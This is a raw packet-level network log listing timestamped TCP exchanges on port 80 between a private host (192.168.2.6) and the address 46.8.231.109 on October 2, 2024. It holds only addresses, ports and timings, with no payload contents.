Oct 2, 2024 17:17:24.597332954 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597337961 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597347021 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597348928 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597359896 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597368956 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597372055 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597379923 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597389936 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597398996 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597399950 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597404003 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597409964 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597419977 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597419977 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597428083 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597430944 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597444057 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597444057 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597449064 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597459078 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597466946 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597476959 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597479105 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597486019 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597490072 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597496986 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597507000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597508907 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597517014 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597527981 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597531080 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597531080 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597537994 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597548008 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597557068 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597558022 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597568035 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597570896 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597578049 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597588062 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597594023 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597599030 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597609043 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597620010 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597621918 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597630024 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597635031 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597661972 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597661972 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597891092 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597902060 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597912073 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597922087 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597930908 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.597934961 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597959995 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.597959995 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598050117 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598061085 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598071098 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598081112 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598083019 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598098040 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598104000 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598109961 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598119974 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598128080 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598130941 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598141909 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598145008 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598151922 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598161936 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598167896 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598167896 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598171949 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598182917 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598191023 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598191977 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598211050 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598222017 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598222971 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598233938 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598243952 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598254919 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598264933 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598265886 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598277092 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598284960 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598288059 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598304987 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598305941 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598315001 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598321915 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598340034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598346949 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598346949 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598351002 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598361969 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598366976 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598371983 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598383904 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598391056 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598395109 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598406076 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598416090 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598414898 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598427057 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598431110 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598438978 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598450899 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598454952 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598460913 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598479033 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598493099 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598882914 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598896027 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598905087 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598916054 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598920107 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598926067 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598936081 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598953962 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598956108 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598956108 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.598970890 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.598985910 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.599009037 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.603810072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603828907 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603841066 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603852034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603869915 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.603909969 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.603914022 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603924036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603935003 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.603943110 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.603967905 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604038000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604048967 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604058981 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604068995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604080915 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604080915 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604090929 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604091883 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604103088 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604120016 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604142904 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604324102 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604335070 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604345083 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604356050 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604357004 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604366064 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604370117 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604377985 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604387999 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604394913 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604398966 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604412079 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604434013 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.604449034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604459047 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604469061 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604480028 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604639053 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604650021 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604660034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604671001 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604688883 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604700089 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604711056 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604721069 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604732990 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604743004 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604756117 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604773045 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604783058 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604793072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604803085 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604813099 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604824066 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604912043 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604923010 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604933977 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604944944 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604955912 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604965925 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604975939 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604985952 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.604998112 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605009079 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605161905 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605262041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605272055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605283976 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605386972 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605397940 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605407953 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605418921 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605428934 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605439901 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605451107 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605541945 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605552912 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605568886 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605578899 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605588913 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605600119 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605609894 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605619907 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605629921 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605639935 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605649948 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605659962 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605670929 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605680943 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605720997 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605731010 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605742931 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605761051 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605771065 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.605782032 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.629018068 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.634219885 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:24.634336948 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.634757042 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:24.639770031 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620883942 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620908976 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620919943 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620928049 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620949984 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620959997 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620970011 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620980978 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620990992 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.621001959 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.620970964 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.621081114 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.621082067 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.621082067 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.621129990 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.621177912 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.621681929 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.621768951 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626046896 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626121998 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626126051 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626156092 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626179934 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626219034 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626353979 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626400948 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626565933 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626576900 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626610041 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626625061 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626636028 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626636982 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626652956 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.626674891 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.626702070 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.627765894 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.627783060 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.627798080 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.627810955 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.627824068 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.627825975 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.627846956 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.627861977 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.628401995 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.628462076 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.628479958 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.628492117 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.628509045 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.628530025 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.630955935 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.630970955 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.631035089 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.631035089 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.631109953 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.631146908 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.631287098 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.631417990 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.631474972 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.631548882 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.631705046 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.631880045 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.631915092 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.631946087 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.632000923 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.632041931 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.632257938 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.632318020 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.632400036 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.632580042 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.632622004 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.632657051 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.632802963 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.632814884 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.632853031 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.633119106 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.633140087 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.633169889 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.633199930 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.633496046 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.633543968 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.633673906 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.633744001 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.635668039 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.635720968 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.635807037 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.635818005 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.635854006 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.635978937 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636020899 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636158943 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636183023 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636193037 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636229038 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636229038 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636260033 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636368990 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636420012 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636596918 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636615038 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636626959 CEST	80	65280	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:25.636640072 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636667013 CEST	65280	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:25.636667013 CEST	65280	80	192.168.2.6	46.8.231.109
